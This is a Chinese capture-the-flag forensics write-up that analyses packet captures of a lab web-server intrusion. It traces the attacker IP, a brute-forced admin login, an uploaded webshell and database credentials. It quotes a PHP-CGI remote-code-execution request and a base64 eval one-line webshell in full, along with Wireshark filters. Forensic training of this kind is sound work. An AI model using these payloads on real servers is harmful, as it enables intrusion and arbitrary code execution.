DIDCTF流量分析
题目来源:DIDCTF流量分析
来自 <DIDCTF-电子数据取证综合平台>
题目描述
43,分析检材1,黑客的IP地址是
44,分析检材1,黑客登录web后台使用的账号是
45,分析检材1,黑客登录web后台使用的密码是
46,分析检材1,网站账号“人事”所对应的登录密码是
47,分析检材1.黑客上传的webshell文件名是
48,分析检材1,数据库所在的内网地址为
49,分析检材1,黑客找到的数据库密码是多少
50,分析检材2,数据库的版本号为
51,分析检材2,“dou_config”表中,“name”字段值是“tel的行中,“value”值是
52,分析检材2,黑客获取了数据库中保存的邮箱账号和密码,其中sool@test.com的密码是
1,第一步统计IP地址,出现次数较多的怀疑为黑客IP
重点怀疑IP为192.168.32.189/192.168.94.59
2,一般黑客的攻击行为伴随着http请求,可以过滤出来然后分析其行为
ip.addr==192.168.32.189 && http
过滤出来的流量有一个特征,那就是一个请求,一个响应,这之间就存在着服务端与客户端的关系。前面几条都是与192.168.94.233的正常交互,追踪流可以推测192.168.32.189是一个服务端
3,再往后面翻已经有一些很明显的攻击行为了
都是192.168.94.59向192.168.32.189发送的各种编码的payload,NO.7847追踪流看看
能够确定攻击者IP是192.168.94.59
这个HTTP请求信息包含了一些特殊字符和恶意代码,目的是尝试通过特定的PHP CGI漏洞进行远程代码执行 (RCE)。下面是对请求的逐步分析:
请求行
- 该请求使用 POST 方法,指向 /cgi-bin/php 路径,附带了 URL 编码的查询字符串。
- 查询字符串中的参数是经过 URL 编码的,解码后如下:
-d allow_url_include=on
-d safe_mode=off
-d suhosin.simulation=on
-d disable_functions=""
-d open_basedir=none
-d auto_prepend_file=php://input
-d cgi.force_redirect=0
-d cgi.redirect_status_env=0
-n
这些是 PHP 的一些配置项,目的是尝试通过漏洞绕过 PHP 的安全配置,允许通过 php://input 协议注入代码。
HTTP头部
- Content-Type: application/x-www-form-urlencoded 表示请求体包含了表单数据。
- Host: 192.168.32.189 是目标主机的 IP 地址。
- User-Agent 是伪造的浏览器信息,通常用来隐藏攻击源。
- Accept: */* 表示接受所有类型的响应内容。
请求体
<?php echo(md5(acunetix-php-cgi-rce)); ?>
- 请求体的内容是一个 PHP 脚本,它通过 echo 输出 md5(acunetix-php-cgi-rce) 的哈希值。这表明攻击者利用这个请求执行 PHP 代码,且想要验证远程代码执行是否成功。
总结
这段请求是一个典型的尝试利用 PHP CGI 漏洞进行远程代码执行的攻击。攻击者通过特制的 URL 参数修改 PHP 配置,尤其是将 allow_url_include 和 auto_prepend_file 设置为 php://input,让 PHP 处理请求体中的代码,从而实现执行任意 PHP 代码。
关键点:
- allow_url_include=on 允许 PHP 脚本通过 URL 引入文件。
- auto_prepend_file=php://input 设置 PHP 处理请求体中的内容,允许执行恶意的 PHP 代码。
- 攻击者希望验证代码是否被执行,并通过 md5(acunetix-php-cgi-rce) 计算哈希值进行验证。
1,追踪http的post的流量,并且只关注登录成功的流量
注意到后面的流量都在尝试着爆破
用户名统一都是admin,证明攻击者想要通过admin登录进入后台
1,已经知道了后台登录用户是admin,那么就猜测爆破的最后一条是成功了,也就是登录使用的密码
密码是admin!@#pass123
1,题目要求知道人事用户的密码。我们已经知道服务器IP是192.168.32.189,那么公司应该是在一个局域网192.168.32.0当中,其中的这些IP就是公司内部IP:192.168.32.152/192.168.32.153/192.168.32.255
ip.dst == 192.168.32.189 && ip.src != 192.168.94.59 && http.request.method==POST && http contains "login.php"
通过此过滤方式直接过滤出来了最核心的三条
- 捕获所有发送到目标IP地址 192.168.32.189 的HTTP POST请求。
- 这些请求的来源IP不能是 192.168.94.59。
- 这些HTTP请求中必须包含 login.php 这一字符串,通常与登录操作相关。
过滤出来了密码是hr134679
1,提到了上传的是webshell,应该是一句话木马,那么这个木马的一定存在关键的函数@eval()
ip.dst == 192.168.32.189 && ip.src == 192.168.94.59 && http.request.method==POST && http contains "@eval"
捕获所有来自 192.168.94.59 的POST请求,这些请求的目标地址是 192.168.32.189,并且这些POST请求的内容中包含了字符串 @eval。
- 目的:从这个过滤条件中可以看出,过滤器主要用于捕捉可能包含恶意PHP代码的请求。特别是包含 @eval 的请求,这通常是攻击者尝试通过 eval() 函数在目标服务器上执行任意代码的信号。
- 应用场景:此过滤器通常用于检测试图通过PHP代码注入(尤其是通过 eval() 函数)进行远程命令执行的攻击。@eval() 函数在PHP中用于动态执行代码,这通常是Web攻击中的常见手段,特别是涉及到木马或后门程序时。
过滤出来的30条流量包全是有一句话木马的,并且上传的文件名为a.php
追踪流之后能够得到更加详细的内容
@eval(base64_decode($_POST[action]));
$action= @ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo "-->";
$D=dirna
me($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\\0" ;
if(substr($R,0,1)!="|") {foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.=$L;}
$U=func_exits('posix_getegid')?@posix_getegid():@posix_getpid();
$R.="{$U}";
echo("}|-");
die();
2. 恶意代码分析
- @eval(base64_decode($_POST[action]));
- 这行代码是一个典型的PHP木马代码。它从HTTP POST请求的 action 参数中获取数据,解码它并执行。这意味着攻击者可以在 action 参数中传递任何PHP代码,从而执行任意操作。
- ini_set("display_errors","0");
- 该代码关闭了PHP错误显示,通常用于隐藏错误信息,从而避免暴露给攻击者。
- set_time_limit(0);
- 禁止脚本超时,这通常用于使木马在后台长期运行,不容易被中断。
- set_magic_quotes_runtime(0);
- 禁用运行时魔术引号,这样有助于避免对字符串中的引号进行转义。
- $D=dirna me($_SERVER["PATH_TRANSLATED"]);
- 这行代码尝试获取当前脚本的文件路径,并存储到变量 $D 中。
- if(substr($R,0,1)!="|") {...}
- 这段代码尝试在本地磁盘上寻找可访问的驱动器字母(例如 A 到 Z)。它用于判断并组装出当前系统上可能存在的路径。
- $U=func_exits('posix_getegid') ? @posix_getegid() : @posix_getpid();
- 获取当前进程的进程ID(PID)或有效组ID(EGID),用于进程识别。
- $R.="{$U}";
- 将进程ID附加到路径字符串 $R 中。
- echo("}|-");
- 输出定界符,用于分隔可能的恶意响应数据。
- die();
- 终止当前脚本的执行,确保恶意操作完成后不再执行任何后续操作。
1,问数据库的内网地址,那么切入点要么是phpmyadmin登录,要么是在服务器上直接登录
tcp.dstport == 3306
过滤出的都不是我们需要的,再过滤关键字
最后几条再追踪流就能看见数据库的内网IP:10.3.3.101
已经知道了内网数据库IP,那么数据库密码也能找到:e667jUPvJjXHvEUv
1,已经确定了有数据库,那么在检材2过滤mysql就能够看到与之相关的内容
第一条就是version=5.5.49
2,ctrl+F搜索tel并且选择分组详情就能找到所需信息,value值为0659-8686868
3,直接搜索sool@test.com
在No.920条找到密码
找到密码的hash,md5解密flag:qaz123!@#